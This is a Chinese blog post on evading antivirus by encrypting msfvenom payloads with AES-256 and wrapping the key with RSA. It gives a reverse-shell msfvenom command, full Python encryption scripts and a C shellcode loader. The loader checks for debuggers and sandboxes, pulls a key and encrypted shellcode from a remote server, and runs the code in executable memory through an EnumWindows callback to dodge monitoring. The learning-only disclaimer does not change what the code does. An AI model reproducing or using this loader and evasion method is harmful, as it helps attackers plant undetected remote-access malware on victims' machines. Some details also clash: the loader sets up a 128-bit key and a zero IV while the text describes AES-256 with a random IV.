基于AES和RSA的加密免杀效果研究

先叠个甲:
本文仅作学习正规网络安全技术,所有效果均在自己靶机内操作,请勿将技术用于非法用途,使用者造成的一切后果,均与本文无关!
一、现状与猜想:
随着杀软的不断进化,payloads很容易被查杀,即使编码过后也不太行。
主流解决方法包括:
加壳;修改特征码;进程镂空...

现代密码学介绍:
1.对称密码:AES,DES3,XOR...
优点:可以对大信息加密,可以很大程度上消除明文特征;
缺点:密钥的安全保存难以保证;
2.非对称密码:RSA,ElGamal...
优点:分为私钥和公钥,保证密钥安全;
缺点:大素数的生成,即不能加密较大信息;

大胆猜想:混合加密免杀系统
非对称加密对称密钥,对称加密payloads
PS:我猜想到这里就搜了一下可行性,发现确实可以,就选AES-256和RSA进行测试,payloads来自msfvenom生成

密钥安全保存的实现:
加载器:
1.加密后的payloads
2.AES解密算法
服务器:
1.payloads源文件
2.RSA加解密算法及公私钥
3.AES密钥

交互流程:
1.客户端请求AES密钥
2.服务器接收响应,解密AES密钥,发送给客户端
3.客户端用AES密钥解密
4.加载器实现更多功能

二、实现流程:
1.使用msf生成payloads(这里是.exe的windows可执行文件)

msfvenom -p windows/shell_reverse_tcp lhost=127.0.0.1 lport=3333 -f exe -o payload.exe
2.用网页在线工具对payloads文件转化成16进制

!!注意:payload一定不要在主机上执行,不小心执行后一定要用杀软清理干净
转化的16进制数就是我们的目标明文
3.生成随机的可加密256位的大素数

点击查看代码
from Crypto.Util import number
def generate_keys():
    """生成支持256字节加密的RSA密钥对"""
    # 生成2048位模数n(可加密256字节)
    p = number.getPrime(1024)
    q = number.getPrime(1024)
    n = p * q
    phi = (p - 1) * (q - 1)

    e = 65537  # 常用公钥指数
    d = pow(e, -1, phi)

    return ((e, n), (d, n))
4.选择256位的AES密钥(也可以随机生成) 这里我的AES密钥选择从文件读入,这样方便测试 密钥可以直接在网页工具上生成

5.AES加密2中转化的16进制内容

点击查看代码
import os

# ====================== AES核心算法实现 ======================
AES_BLOCK_SIZE = 16
ROUNDS = 14  # AES-256轮数

# S盒(标准AES替换表)
SBOX = [
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]

# 轮常数
RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]


def gmul(a, b):
    """有限域GF(2^8)乘法"""
    p = 0
    for _ in range(8):
        if b & 1:
            p ^= a
        hi_bit = a & 0x80
        a = (a << 1) & 0xFF
        if hi_bit:
            a ^= 0x1B
        b >>= 1
    return p


def sub_bytes(state):
    """字节替换"""
    return [SBOX[b] for b in state]


def shift_rows(state):
    """行移位"""
    return [
        state[0], state[5], state[10], state[15],
        state[4], state[9], state[14], state[3],
        state[8], state[13], state[2], state[7],
        state[12], state[1], state[6], state[11]
    ]


def mix_columns(state):
    """列混合"""
    new_state = [0] * 16
    for i in range(4):
        s0 = state[i]
        s1 = state[i + 4]
        s2 = state[i + 8]
        s3 = state[i + 12]

        new_state[i] = gmul(0x02, s0) ^ gmul(0x03, s1) ^ s2 ^ s3
        new_state[i + 4] = s0 ^ gmul(0x02, s1) ^ gmul(0x03, s2) ^ s3
        new_state[i + 8] = s0 ^ s1 ^ gmul(0x02, s2) ^ gmul(0x03, s3)
        new_state[i + 12] = gmul(0x03, s0) ^ s1 ^ s2 ^ gmul(0x02, s3)
    return new_state


def add_round_key(state, round_key):
    """轮密钥加"""
    return [s ^ k for s, k in zip(state, round_key)]


def key_expansion(key):
    """AES-256密钥扩展"""
    # 初始密钥拷贝
    w = list(key)

    # 密钥扩展主循环
    for i in range(8, 60):
        temp = w[(i - 1) * 4:i * 4]

        if i % 8 == 0:
            # RotWord + SubWord + Rcon
            temp = temp[1:] + [temp[0]]
            temp = [SBOX[b] for b in temp]
            temp[0] ^= RCON[i // 8 - 1]
        elif i % 8 == 4:
            # SubWord
            temp = [SBOX[b] for b in temp]

        w += [a ^ b for a, b in zip(w[(i - 8) * 4:(i - 7) * 4], temp)]

    # 分组轮密钥
    round_keys = []
    for i in range(ROUNDS + 1):
        round_keys.append(bytes(w[i * 16:(i + 1) * 16]))

    return round_keys


def aes_encrypt_block(block, round_keys):
    """AES加密单个16字节块"""
    state = list(block)

    # 初始轮密钥加
    state = add_round_key(state, round_keys[0])

    # 主轮次
    for round in range(1, ROUNDS):
        state = sub_bytes(state)
        state = shift_rows(state)
        state = mix_columns(state)
        state = add_round_key(state, round_keys[round])

    # 最终轮
    state = sub_bytes(state)
    state = shift_rows(state)
    state = add_round_key(state, round_keys[ROUNDS])

    return bytes(state)


# ====================== 文件操作函数 ======================
def pkcs7_pad(data):
    """PKCS#7填充"""
    pad_len = AES_BLOCK_SIZE - (len(data) % AES_BLOCK_SIZE)
    return data + bytes([pad_len] * pad_len)


def xor_bytes(a, b):
    """字节异或操作"""
    return bytes(x ^ y for x, y in zip(a, b))


def bytes_to_hex(data):
    """二进制转16进制字符串"""
    return data.hex()


# ====================== 加密模块 ======================
def encrypt_file(input_file, output_file, key):
    """加密文件并保存为16进制格式"""
    # 生成随机IV
    iv = os.urandom(AES_BLOCK_SIZE)

    # 密钥扩展
    round_keys = key_expansion(key)

    # 读取明文
    with open(input_file, 'rb') as f:
        plaintext = f.read()

    # 填充明文
    padded_plaintext = pkcs7_pad(plaintext)

    # CBC模式加密
    ciphertext = b''
    prev_block = iv
    for i in range(0, len(padded_plaintext), AES_BLOCK_SIZE):
        block = padded_plaintext[i:i + AES_BLOCK_SIZE]
        xored = xor_bytes(block, prev_block)
        encrypted_block = aes_encrypt_block(xored, round_keys)
        ciphertext += encrypted_block
        prev_block = encrypted_block

    # 合并IV和密文,转换为16进制
    encrypted_data = iv + ciphertext
    hex_data = bytes_to_hex(encrypted_data)

    # 写入16进制文件
    with open(output_file, 'w') as f:
        f.write(hex_data)


# ====================== 主程序 ======================
if __name__ == "__main__":
    # 从send.txt读取32字节密钥
    with open('send.txt', 'rb') as f:
        key = f.read(32)

    if len(key) != 32:
        raise ValueError("密钥必须是32字节(256位)")

    # 加密模块
    encrypt_file('aes-in.txt', 'aes-out.txt', key)
    print("加密完成! 16进制结果保存在aes-out.txt")

6.RSA加密4中的AES-256密钥

点击查看代码
import random
from Crypto.Util import number

BLOCK_SIZE = 256  # 字节块大小


def generate_keys():
    """生成支持256字节加密的RSA密钥对"""
    # 生成2048位模数n(可加密256字节)
    p = number.getPrime(1024)
    q = number.getPrime(1024)
    n = p * q
    phi = (p - 1) * (q - 1)

    e = 65537  # 常用公钥指数
    d = pow(e, -1, phi)

    return ((e, n), (d, n))


def encrypt_long_string(public_key, plaintext):
    """加密长字符串(分块处理)"""
    e, n = public_key
    plain_bytes = plaintext.encode('utf-8')

    # 检查长度
    if len(plain_bytes) > BLOCK_SIZE:
        raise ValueError(f"明文长度不能超过{BLOCK_SIZE}字节")

    # 填充到固定长度(PKCS#1 v1.5填充)
    padding_length = BLOCK_SIZE - len(plain_bytes) - 3
    padding = bytes([random.randint(1, 255) for _ in range(padding_length)])
    padded = b'\x00\x02' + padding + b'\x00' + plain_bytes

    # 转换为整数并加密
    plain_int = int.from_bytes(padded, 'big')
    cipher_int = pow(plain_int, e, n)

    return hex(cipher_int)


def main():
    try:
        # 读取待加密文件
        with open('key-file.txt', 'r', encoding='utf-8') as f:
            content = f.read().strip()

        if not content:
            raise ValueError("key-file.txt内容为空")

        # 生成并保存密钥
        public_key, private_key = generate_keys()

        with open('public.txt', 'w') as f:
            f.write(f"{public_key[0]},{public_key[1]}")

        with open('private.txt', 'w') as f:
            f.write(f"{private_key[0]},{private_key[1]}")

        # 加密并保存结果
        encrypted = encrypt_long_string(public_key, content)
        with open('enkey-file.txt', 'w') as f:
            f.write(encrypted)

        print("加密成功!")


    except FileNotFoundError:
        print("错误:需要先创建key-file.txt")
    except ValueError as ve:
        print(f"加密错误:{str(ve)}")
    except Exception as e:
        print(f"系统错误:{str(e)}")


if __name__ == "__main__":
    main()

7.使用virustotal测试

可以做到基本免杀

Ps:主播最烂的就是代码编程,问的deepseek老师,服务端的加解密用得python,加载器用的c

8.加载器代码

点击查看代码
#include <winsock2.h>
#include <windows.h>
#include <openssl/aes.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "libcrypto.lib")

// ========================
// 核心功能实现
// ========================

/* 环境检测模块 (反调试/沙箱检测) */
int environment_check() {
    if (IsDebuggerPresent()) return 0;
    
    // 硬件资源检测(虚拟机通常内存<2GB)
    MEMORYSTATUSEX mem;
    mem.dwLength = sizeof(mem);
    GlobalMemoryStatusEx(&mem);
    return (mem.ullTotalPhys > 2 * 1024 * 1024 * 1024) ? 1 : 0;
}

/* 网络通信模块 */
SOCKET connect_server(const char* ip, int port) {
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    
    WSAStartup(MAKEWORD(2,2), &wsa);
    sock = socket(AF_INET, SOCK_STREAM, 0);
    
    server.sin_addr.s_addr = inet_addr(ip);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    
    return (connect(sock, (struct sockaddr*)&server, sizeof(server)) == 0) ? sock : INVALID_SOCKET;
}

/* 接收十六进制数据并转换 */
unsigned char* recv_hex(SOCKET sock, int* out_len) {
    char hex_buf[4096];
    int len = recv(sock, hex_buf, sizeof(hex_buf), 0);
    if (len <= 0) return NULL;
    
    *out_len = len / 2;
    unsigned char* bin = (unsigned char*)malloc(*out_len);
    
    for (int i = 0; i < *out_len; i++) {
        sscanf(hex_buf + (i*2), "%02hhx", &bin[i]);
    }
    return bin;
}

/* AES解密核心 */
unsigned char* aes_decrypt_data(unsigned char* enc_data, int enc_len, 
                                unsigned char* key, int* dec_len) 
{
    AES_KEY aes_key;
    AES_set_decrypt_key(key, 128, &aes_key);
    
    unsigned char* decrypted = (unsigned char*)malloc(enc_len);
    unsigned char iv[AES_BLOCK_SIZE] = {0};
    
    AES_cbc_encrypt(enc_data, decrypted, enc_len, &aes_key, iv, AES_DECRYPT);
    
    // 移除PKCS7填充
    *dec_len = enc_len - decrypted[enc_len-1];
    return decrypted;
}

/* 内存执行模块 */
void exec_shellcode(unsigned char* sc, int size) {
    LPVOID mem = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, size);
    
    // 使用回调触发执行(绕过线程监控)
    EnumWindows((WNDENUMPROC)mem, 0);
}

// ========================
// 主控流程
// ========================
int main() {
    if (!environment_check()) return 0;

    // 配置参数
    const char* SERVER_IP = "192.168.1.100";
    const int PORT = 443;
    unsigned char enc_aes_key[] = {/* RSA加密后的AES密钥 */};

    // 连接服务器
    SOCKET sock = connect_server(SERVER_IP, PORT);
    if (sock == INVALID_SOCKET) return 0;

    // 1. 发送加密密钥并获取明文AES密钥
    send(sock, (char*)enc_aes_key, sizeof(enc_aes_key), 0);
    int key_len;
    unsigned char* aes_key = recv_hex(sock, &key_len);

    // 2. 获取加密的shellcode
    unsigned char enc_shellcode[4096];
    int sc_len = recv(sock, (char*)enc_shellcode, sizeof(enc_shellcode), 0);
    closesocket(sock);

    // 3. AES解密
    int dec_len;
    unsigned char* shellcode = aes_decrypt_data(enc_shellcode, sc_len, aes_key, &dec_len);
    
    // 4. 敏感数据清理
    SecureZeroMemory(aes_key, key_len);
    free(aes_key);

    // 5. 执行shellcode
    exec_shellcode(shellcode, dec_len);
    free(shellcode);
    return 0;
}

posted @ 2025-06-10 13:25  极致之道  阅读(57)  评论(0)    收藏  举报